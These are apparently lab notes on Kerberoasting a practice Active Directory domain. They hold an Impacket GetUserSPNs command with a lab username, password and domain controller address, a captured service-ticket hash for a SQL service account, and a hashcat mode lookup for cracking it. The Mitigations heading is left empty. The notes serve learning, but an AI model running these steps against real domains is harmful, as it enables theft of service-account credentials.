Kerberoasting

Kerberoast command:

sudo GetUserSPNs.py MARVEL.local/fcastle:Password1 -dc-ip 192.168.218.136 -request

Copy the hash:

$krb5tgs$23$*SQLService$MARVEL.LOCAL$HYDRA-DC/SQLService.MARVEL.local~60111*$f1b795ed65ecc9ddf8f87324277b4bea$4ad7dbb9d41a3770ee6b116bf214b49c90b94fd115340f064ca88c3780485ca3fe71268568dac4c1acdd8c78d5e0330d6e5c00ac76a4e90b459520f69f24809d52a0a85f49c6d3d5b53723eafbea0bb1e55c21e7410f19640ff81cf6a8c2f2ed61e7facaa65a06a05a8c9279196327dff0bcacdf81a4fa250776e4b9c2c56ecfc708e6b2d383f8b50a789ccedc347810f0d297e77dcf8e9fe6f4496749b074618cca4cc1a6a86266957e03ea2847a7c43e032b456f954eb53464f9cbebbf4fc6d9634f67d2b15f8b0f25b3adc0c9d82681ac6d613fd6625bf567b0a434bafd4febee3ff4ab74ead1ac0c3d4cc9fd3a03983b5070174c9570a7d52786e45754b40f3de5f2c3bc01047c8075058d690ed51dad195a15b7670fdac1593fc519311f70ad6a89edb70df66242912eaf9a88542ffd1c466bdab18a7d16f8b35bdc8f4521fa120ab5826a84b7fe45b1e25011e7b309c68cf2207453558c4429f8e1b21bd1f39d0d2ab993508535a2a20bee068fade943f6f052343360c8f6edd70ed2376c2412a547aeb59dc67ad2e77c8adf4f8cafc265892aa3c6430b5e718c8cf7cf1913b54240564f57369f0c284d5a011d73982d8b21e371d46339fdd44a4cab37d09f4510656a0299071695b62d10e9e12ac208b964435e80e3660c313b3d677a4e42cda5e93307d1fde9d0a125656dc453f45acb36cb2a3afb950a0fadd1d6ed965eb2d5b088e5a1d49c06c91f23b08cffddededdd55fe32ca372ef04718add4431619361f000366f22cd689ef9a74086f9c3ec77acd75fda00d33aee8782af59aba57a2ae898a58b1d4f5fa346eb83bd999f4d97c65875678ad7f177d17181abe2916f76f9f7ef6ea68f18650a5390eaab273044d26203de5d9879e08dcacb29741ff4bfa937cbe161f1230f8f8496ca82169c2323cb7911f94fc53c6e778f7a70f82e99616a436be20680398882950c6302a8e5b39478707224c90e0171c99143b8eba7c0b37aadb64dc52941c262e1ff2957c8b9ecd12348fc76e00295548eeb7bacf1c34661d5212f53690c5ed8ee52d14ade14464a6777aebcb312b6b0e93b5c00809f24d006734038cae7d1aa52971c8f57b2f31fe0dd5f3b2de92edeef06cfa385cfb185077342761f7b4d28b35317d35a63c7b3b5bf5f0dc7da3a05205d3486cd0bfbec8115c320293fb3eec08efcf654d7effda2463c24ef6b5e275132a532fbc9e31040c14c6e4729c3853fce482aa27085c70072e6f57b81aac1fc6695a89108b7c6b2c8fae0957ff59a766805ac96e09211a6252269acc5dd7370bb1a2bc14d576344a5eb2a15fbad3f46d3739dfa142cafdd6d70d3ce40b704b6deb850219c7b1a96e335a853593a30563a522a26f3e942d66e3821d716af2a87a3c584b21fc46fb26336c375dea611fbc4bb9ae15972f4e4d3ecf44

Hash type: Kerberos

hashcat --help | grep Kerberos #CASE SENSITIVE
#output: 13100

Hashcat

Mitigations